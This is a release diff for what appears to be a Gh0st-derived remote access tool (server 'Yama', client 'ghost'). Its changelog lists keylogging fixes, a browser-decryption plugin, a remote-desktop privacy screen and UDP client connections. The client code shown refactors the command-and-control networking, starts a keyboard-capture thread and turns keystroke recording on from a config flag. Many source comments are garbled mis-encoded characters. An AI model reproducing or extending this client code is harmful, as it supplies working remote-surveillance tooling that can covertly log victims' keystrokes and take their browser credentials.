Release v1.1.2

feature: Support drawing board to add text
#145 Support remote drawing board
2025-07-07 21:28:45 +02:00 · 2025-07-05 22:06:34 +02:00 · 2025-07-05 16:33:23 +02:00 · 2025-07-03 22:59:31 +02:00 · 2025-07-02 22:35:19 +02:00 · 2025-07-01 21:57:56 +02:00
149 changed files with 6388 additions and 3651 deletions
--- a/2015Remote.sln
+++ b/2015Remote.sln
@@ -1,43 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 14
-VisualStudioVersion = 14.0.25420.1
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
-	ProjectSection(ProjectDependencies) = postProject
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
-	EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|x86 = Debug|x86
-		Release|x86 = Release|x86
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -254,6 +254,25 @@
 - 改进：新增弹窗以显示主机的详细信息
 - 改进客户端稳定性

+**2025.07.07**
+
+发布 v1.1.2:
+
+* 修复：键盘记录功能的问题  
+* 安全：增强插件的授权机制  
+* 修复：释放 `CMachineDlg` 对象时的内存泄漏问题  
+* 修复：使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147)  
+* 新增：添加跳转到授权指南页面的菜单项  
+* 插件：新增一个文件管理模块  
+* 优化：减少主程序中的冗余代码  
+* 修复：在后台数据处理过程中关闭窗口导致的崩溃问题  
+* 优化：移除读取注册表时的冗余代码  
+* 架构调整：重构 TCP 客户端/服务器代码；重写套接字服务器逻辑  
+* 新功能：支持同时监听多个端口  
+* 新功能：支持客户端通过 UDP 连接；新增客户端协议选择（TCP/UDP）  
+* 插件：#145 支持远程画板功能  
+* 插件：增加远程桌面隐私屏幕功能  
+
 ---

 # 6.其他项目 <a id="6-other-projects"></a>
--- a/ReadMe_EN.md
+++ b/ReadMe_EN.md
@@ -270,6 +270,26 @@ Modifying and compiling the program yourself can also resolve this issue.*
 * Improvement: Add a popup window to show details
 * Improve client stability

+
+**2025.07.07**
+
+Release v1.1.2:
+
+* Fix the problem with the keylogging feature
+* Security: Improve the authorization of plugins
+* fix: Memory leak when release `CMachineDlg` object
+* fix: Showing wrong IP while using `Reverse Proxy` (#147)
+* Add a menu redirects to the authorization guide page
+* Plugin: Add another file management module
+* Improve: Reduce master program redundant code
+* fix: Prevent crash when closing window during background data processing
+* Improve: Remove redundant code for reading the registry
+* layout: Reorganize TCP client/server code; Refactor the socket server code
+* feature: Support listening on multiple ports simultaneously
+* feature: Support client connections over UDP; Add client protocol option TCP/UDP
+* Plugin: #145 Support remote drawing board
+* Plugin: Add remote desktop privacy screen feature
+
 ---

 # 6. Related Projects
--- a/Releases/v1.1.2/Plugins/BrowserDecrypt.dll
+++ b/Releases/v1.1.2/Plugins/BrowserDecrypt.dll
--- a/Releases/v1.1.2/Plugins/DrawingBoard.dll
+++ b/Releases/v1.1.2/Plugins/DrawingBoard.dll
--- a/Releases/v1.1.2/Plugins/FileManager.dll
+++ b/Releases/v1.1.2/Plugins/FileManager.dll
--- a/Releases/v1.1.2/Plugins/HostManager.dll
+++ b/Releases/v1.1.2/Plugins/HostManager.dll
--- a/Releases/v1.1.2/Plugins/PrivateDesktop.dll
+++ b/Releases/v1.1.2/Plugins/PrivateDesktop.dll
--- a/Releases/v1.1.2/Plugins/RemoteChat.dll
+++ b/Releases/v1.1.2/Plugins/RemoteChat.dll
--- a/Releases/v1.1.2/Plugins/VirtualDesktop.dll
+++ b/Releases/v1.1.2/Plugins/VirtualDesktop.dll
--- a/Releases/v1.1.2/Yama.exe
+++ b/Releases/v1.1.2/Yama.exe
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
 	}

 	BYTE	bToken = TOKEN_AUDIO_START;
-	m_ClientObject->OnServerSending((char*)&bToken, 1);
+	m_ClientObject->Send2Server((char*)&bToken, 1);

 	WaitForDialogOpen();    //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	szPacket = NULL;
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
 	//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
 	if (dwBufferSize > 0)
 	{
-		dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);  	
+		dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
 	}
 	return dwReturn;	
 }
--- a/client/CaptureVideo.h
+++ b/client/CaptureVideo.h
@@ -18,10 +18,15 @@

 #pragma comment(lib,"Strmiids.lib")

+// TODO ȫ<>ֱ<EFBFBD><D6B1><EFBFBD>, <20><><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD>qedit.h
+
+// <20>ӿ<EFBFBD> ID	<09>ص<EFBFBD><D8B5>ӿڣ<D3BF><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ֡ץȡʱ֪ͨӦ<D6AA><D3A6>
 EXTERN_C const IID IID_ISampleGrabberCB;

+// <20><> ID	<09><><EFBFBD><EFBFBD> Sample Grabber COM <20><><EFBFBD><EFBFBD>
 EXTERN_C const CLSID CLSID_SampleGrabber;

+// 	<09>ӿ<EFBFBD> ID	<09><><EFBFBD><EFBFBD> Sample Grabber <20>Ĳ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>Ȳ<EFBFBD><C8B2><EFBFBD><EFBFBD>ӿ<EFBFBD>
 EXTERN_C const IID IID_ISampleGrabber;

 struct ISampleGrabberCB : public IUnknown
@@ -35,7 +40,6 @@ public:
 		double SampleTime,
 		BYTE* pBuffer,
 		long BufferLen) = 0;
-
 };

 struct ISampleGrabber : public IUnknown
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -11,7 +11,10 @@
 #define CLIENT_PARALLEL_NUM 1

 // Զ<>̵<EFBFBD>ַ
-CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
+CONNECT_ADDRESS g_SETTINGS = {
+	FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
+	FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
+};

 // <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ĳ<EFBFBD>Ա.
 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
@@ -265,6 +268,8 @@ int main(int argc, const char *argv[])
 	status = E_STOP;

 	CloseHandle(hMutex);
+	Logger::getInstance().stop();
+
 	return 0;
 }
 #else
@@ -478,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 		settings.SetServer(list[0].c_str(), settings.ServerPort());
 	}
 	State& bExit(app.g_bExit);
-	IOCPClient  *ClientObject = new IOCPClient(bExit);
+	IOCPClient  *ClientObject = NewNetClient(&settings, bExit);
 	CKernelManager* Manager = nullptr;

 	if (!app.m_bShared) {
@@ -491,6 +496,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 	}

 	app.SetThreadRun(TRUE);
+	ThreadInfo* kb = CreateKB(&settings, bExit);
 	while (app.m_bIsRunning(&app))
 	{
 		ULONGLONG dwTickCount = GetTickCount64();
@@ -500,7 +506,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 			continue;
 		}
 		SAFE_DELETE(Manager);
-		Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
+		Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb);

 		//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 		LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
@@ -513,6 +519,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 		while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
 			Sleep(200);
 	}
+	kb->Exit(10);
 	if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
 		BOOL b = SetEvent(app.g_hEvent);
 		Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
--- a/client/ClientDll.sln
+++ b/client/ClientDll.sln
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 2012
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
-EndProject
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-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
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-		Release|Win32 = Release|Win32
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+++ b/client/ClientDll.vcxproj
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+++ b/client/ClientDll.vcxproj.filters
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-    </ClCompile>
-    <ClCompile Include="ScreenManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="ScreenSpy.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="ServicesManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="ShellManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="StdAfx.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="SystemManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="TalkManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="VideoManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="Audio.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="AudioManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Buffer.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="CaptureVideo.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Common.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="FileManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="IOCPClient.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="KernelManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="LoginServer.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Manager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="RegisterManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="RegisterOperation.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="resource.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ScreenManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ScreenSpy.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ServicesManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ShellManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="StdAfx.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="SystemManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="TalkManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="VideoCodec.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="VideoManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="zconf.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="zlib.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="CursorInfo.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="Script.rc">
-      <Filter>资源文件</Filter>
-    </ResourceCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="ExportFunTable.def">
-      <Filter>资源文件</Filter>
-    </None>
-  </ItemGroup>
-  <ItemGroup>
-    <Media Include="Res\msg.wav">
-      <Filter>资源文件</Filter>
-    </Media>
-  </ItemGroup>
-  <ItemGroup>
-    <Image Include="Res\ghost.ico">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="Res\msg.ico">
-      <Filter>资源文件</Filter>
-    </Image>
-  </ItemGroup>
-</Project>
--- a/client/ClientDll.vcxproj.user
+++ b/client/ClientDll.vcxproj.user
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
-    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
-    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-  </PropertyGroup>
-</Project>
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -170,8 +170,10 @@
    <ClCompile Include="Common.cpp" />
    <ClCompile Include="FileManager.cpp" />
    <ClCompile Include="IOCPClient.cpp" />
+    <ClCompile Include="IOCPUDPClient.cpp" />
    <ClCompile Include="KernelManager.cpp" />
    <ClCompile Include="KeyboardManager.cpp" />
+    <ClCompile Include="keylogger.cpp" />
    <ClCompile Include="LoginServer.cpp" />
    <ClCompile Include="Manager.cpp" />
    <ClCompile Include="MemoryModule.c" />
@@ -189,6 +191,7 @@
    <ClCompile Include="X264Encoder.cpp" />
  </ItemGroup>
  <ItemGroup>
+    <ClInclude Include="..\common\location.h" />
    <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
    <ClInclude Include="Audio.h" />
    <ClInclude Include="AudioManager.h" />
@@ -198,8 +201,10 @@
    <ClInclude Include="CursorInfo.h" />
    <ClInclude Include="FileManager.h" />
    <ClInclude Include="IOCPClient.h" />
+    <ClInclude Include="IOCPUDPClient.h" />
    <ClInclude Include="KernelManager.h" />
    <ClInclude Include="KeyboardManager.h" />
+    <ClInclude Include="keylogger.h" />
    <ClInclude Include="LoginServer.h" />
    <ClInclude Include="Manager.h" />
    <ClInclude Include="MemoryModule.h" />
--- a/client/ClientDll_vs2015.vcxproj.user
+++ b/client/ClientDll_vs2015.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -14,81 +14,8 @@
 #include "ProxyManager.h"

 #include "KernelManager.h" 
+#include <iniFile.h>

-#define REG_SETTINGS "Software\\ServerD11\\Settings"
-
-// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
-bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
-	HKEY hKey;
-
-	LONG result = RegCreateKeyExA(
-		HKEY_CURRENT_USER,
-		REG_SETTINGS,
-		0,
-		NULL,
-		0,
-		KEY_WRITE,
-		NULL,
-		&hKey,
-		NULL
-	);
-
-	if (result != ERROR_SUCCESS) {
-		Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
-		return false;
-	}
-
-	result = RegSetValueExA(
-		hKey,
-		keyName.c_str(),
-		0,
-		REG_SZ,
-		reinterpret_cast<const BYTE*>(value.c_str()),
-		static_cast<DWORD>(value.length() + 1)
-	);
-
-	RegCloseKey(hKey);
-	return result == ERROR_SUCCESS;
-}
-
-// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
-bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
-	HKEY hKey;
-
-	LONG result = RegOpenKeyExA(
-		HKEY_CURRENT_USER,
-		REG_SETTINGS,
-		0,
-		KEY_READ,
-		&hKey
-	);
-
-	if (result != ERROR_SUCCESS) {
-		return false;
-	}
-
-	char buffer[256];
-	DWORD bufferSize = sizeof(buffer);
-	DWORD type = 0;
-
-	result = RegQueryValueExA(
-		hKey,
-		keyName.c_str(),
-		nullptr,
-		&type,
-		reinterpret_cast<LPBYTE>(buffer),
-		&bufferSize
-	);
-
-	RegCloseKey(hKey);
-
-	if (result == ERROR_SUCCESS && type == REG_SZ) {
-		outValue = buffer;
-		return true;
-	}
-
-	return false;
-}

 DWORD WINAPI ThreadProc(LPVOID lParam)
 {
@@ -105,10 +32,13 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
 	ThreadInfo *pInfo = (ThreadInfo *)lParam;
 	IOCPClient	*ClientObject = (IOCPClient *)pInfo->p;
 	CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
-	if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
+	ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
+	if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
 	{
 		Manager	m(ClientObject, n, pInfo->user);
+		pInfo->user = &m;
 		ClientObject->RunEventLoop(pInfo->run);
+		pInfo->user = NULL;
 	}
 	delete ClientObject;
 	pInfo->p = NULL;
@@ -168,6 +98,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)

 DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
 {
+	iniFile cfg(CLIENT_PATH);
+	std::string s = cfg.GetStr("settings", "kbrecord", "No");
+	if (s == "Yes") {
+		return LoopManager<CKeyboardManager1, 1>(lParam);
+	}
 	return LoopManager<CKeyboardManager1, 0>(lParam);
 }

--- a/client/Common.h
+++ b/client/Common.h
@@ -18,11 +18,6 @@ typedef struct UserParam
 	~UserParam() { SAFE_DELETE_ARRAY(buffer); }
 }UserParam; 

-// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-bool WriteAppSettingA(const std::string& keyName, const std::string& value);
-// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
-bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
-
 DWORD WINAPI ThreadProc(LPVOID lParam);

 DWORD WINAPI LoopShellManager(LPVOID lParam);
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -3,6 +3,7 @@
 //////////////////////////////////////////////////////////////////////
 #ifdef _WIN32
 #include "stdafx.h"
+#include <WS2tcpip.h>
 #else
 #include <netdb.h>
 #include <sys/socket.h>
@@ -48,7 +49,6 @@ inline int WSAGetLastError() { return -1; }
 #endif
 #endif
 #endif
-#include <WS2tcpip.h>

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager,  DataProcessCB dataProcess)

 IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
 {
+	m_ServerAddr = {};
 	m_nHostPort = 0;
 	m_Manager = NULL;
 #ifdef _WIN32
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
 IOCPClient::~IOCPClient()
 {
 	m_bIsRunning = FALSE;
-
-	if (m_sClientSocket!=INVALID_SOCKET)
-	{
-		closesocket(m_sClientSocket);
-		m_sClientSocket = INVALID_SOCKET;
-	}
+	Disconnect();

 	if (m_hWorkThread!=NULL)
 	{
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 	}

 #ifdef _WIN32
-	//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
-	sockaddr_in	ServerAddr;
-	ServerAddr.sin_family	= AF_INET;               //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  IP
-	ServerAddr.sin_port	= htons(port);
-	ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
+	m_ServerAddr.sin_family	= AF_INET;
+	m_ServerAddr.sin_port	= htons(port);
+	m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());

-	if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) 
+	if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) 
 	{
 		if (m_sClientSocket!=INVALID_SOCKET)
 		{
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 		return FALSE;
 	}
 #else
-	sockaddr_in ServerAddr = {};
-	ServerAddr.sin_family = AF_INET;   // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
-	ServerAddr.sin_port = htons(port);
+	m_ServerAddr.sin_family = AF_INET;
+	m_ServerAddr.sin_port = htons(port);
 	// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
 	// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
-	if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
+	if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
 		Mprintf("Invalid address or address not supported\n");
 		return false;
 	}
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 	}

 	// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
+	if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
 		Mprintf("Connection failed\n");
 		close(m_sClientSocket);
 		m_sClientSocket = -1;  // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 		}
 		else if (iRet > 0)
 		{
-			int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
+			int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
 			if (iReceivedLength <= 0)
 			{
 				int a = WSAGetLastError();
@@ -344,6 +337,19 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 	return 0xDEAD;
 }

+// <20><><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>߼<EFBFBD>:
+// <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
+// <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD>񣬷<EFBFBD><F1A3ACB7><EFBFBD><EFBFBD>쳣<EFBFBD>루<EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>棩
+int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) {
+	__try {
+		if (f) f(manager, data, len);
+		return 0;
+	}
+	__except (EXCEPTION_EXECUTE_HANDLER) {
+		return GetExceptionCode();
+	}
+}
+

 VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 {
@@ -394,8 +400,10 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 				{
